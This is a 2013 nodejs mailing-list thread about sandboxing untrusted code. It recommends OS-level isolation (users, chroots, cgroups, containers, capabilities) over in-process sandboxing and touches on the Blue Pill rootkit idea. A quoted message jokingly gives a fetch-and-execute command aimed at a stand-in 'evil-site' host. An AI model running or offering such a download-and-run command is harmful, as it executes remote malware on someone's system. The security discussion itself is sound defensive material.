The node.js security model is very simple. All npm modules you install on your system and require are assumed to be safe and trusted code. Don't require modules you don't trust!
If you want to write an app that requires running untrusted user generated code in a sandbox, then there are many options with varying levels of security. My personal favorite is to not trust myself to think I can do in-process sandboxing properly. I use OS users, filesystem permissions, chroots, cgroups, containers, etc. Basically I use the generic sandboxing capabilities of the host OS that have gone through extensive security audits. Even those aren't perfect, but they are much safer than anything you could do in-process. Also there are many cases that you are writing a web app and can run the user-code in the user's browser instead of server-side in node. WebWorkers provide a great way to run arbitrary user code and get proper error reporting without risk of it ever touching your server and not even blocking the UI thread in the browser app. On Tue, Dec 17, 2013 at 8:51 AM, Alexander <alexo...@gmail.com> wrote: > On 12/17/2013 03:14 PM, Alex Kocharin wrote: > >>> What happens if you run "wget http://evil-site/virus && ./virus"? > >> ;) well, then I get a birthday present (as promised on http://evil-site > ) > > No, you won't, because I forgot "chmod +x". Unless you're on Windows, > which doesn't care about security much. :) > > > Too much of pitty. Considering my box already hacked by BND, NSA, Mosad etc > you might have been one of the more agreeable and funny backdoors in my > system. > Can't you update your present, pls :) > >> This would be a third layer of defense. Considering bluepill I am not > >> willing to resort to allowing virtualisation in the first place. > > Why? > rootkit done right!! > > http://theinvisiblethings.blogspot.de/2006/06/introducing-blue-pill.html > Blue pill concept would be the best next to have a hack in the CPUs > firmware > > http://security.stackexchange.com/questions/40257/backdoors-in-hardware-ie-intel-amd-cpu-possible > http://blogs.vmware.com/vmtn/2007/08/i-spy-a-blue-pi.html > > > > > >> Well that sounds really pretty nice. Wonder if there is a "way-back" aka > >> "breakout" possible still. > > As far as I know, breakout is not possible if you're using vm module. > > > > But this code can still do "while(1);", in which case separate process > will be required, and that's what sandbox module does. > Sure I will look into this vm module. Its something inside node.js, not > related to cpu/system virtualisation, but rather a node.js thing, right? > > > > > >> I like windows. Makes me feel so much happier to have linux, honestly. > >> Bad that I gain joy by seeing stupidity of others. .. Still > >> to keep it honest. I think XP has long passed and Windows 7 can already > >> be run safer and less root involved, eh? > >> On the other hand how should linux world find out? switch back to > windows? > > Or just reboot into it. Happens quite frequently, because windows still > have plenty of games runnable under it, which is frankly speaking the only > thing it is good for. > > > > But it's not really an issue with windows. It's about programs that > require superuser rights. Under gnu/linux it's common for applications to > run under least possible rights. If you run chromium under root in > gnu/linux, it'll simply refuse to start. But if you start windows, a fair > bit of programs you try to install will require admin rights. > > > > It's not only a windows issue, look at the android, every single > application you're installing will require an access to network and sms > stuff. Same thing. > > > > By the way, windows XP is beautiful. It's modern enough to run most of > the applications it needs to, but it doesn't eat resources like crazy. For > this reason it is also very secure if you don't keep any private data in > the same virtualbox container where xp is running. :) > > > > > >>> I'm not even mentioning capabilities and containers. > >> Give glue what would that be? > > First one is a way of dividing root privileges. For example, > ping/wireshark might need an access to network, but they don't need an > access to write system files. So you can allow them some root actions, but > not others. > > > > Second one is a way to run a separate GNU/Linux OS on the same kernel > without any additional resources. This way if some silly application does > need full access to the system, it'll get it, but the system itself will be > very much isolated from anything else. > > > Also will have a look into this, thank you > > -- > -- > Job Board: http://jobs.nodejs.org/ > Posting guidelines: > https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines > You received this message because you are subscribed to the Google > Groups "nodejs" group. > To post to this group, send email to nodejs@googlegroups.com > To unsubscribe from this group, send email to > nodejs+unsubscr...@googlegroups.com > For more options, visit this group at > http://groups.google.com/group/nodejs?hl=en?hl=en > > --- > You received this message because you are subscribed to the Google Groups > "nodejs" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to nodejs+unsubscr...@googlegroups.com. > For more options, visit https://groups.google.com/groups/opt_out. > -- -- Job Board: http://jobs.nodejs.org/ Posting guidelines: https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines You received this message because you are subscribed to the Google Groups "nodejs" group. To post to this group, send email to nodejs@googlegroups.com To unsubscribe from this group, send email to nodejs+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/nodejs?hl=en?hl=en --- You received this message because you are subscribed to the Google Groups "nodejs" group. To unsubscribe from this group and stop receiving emails from it, send an email to nodejs+unsubscr...@googlegroups.com. For more options, visit https://groups.google.com/groups/opt_out.
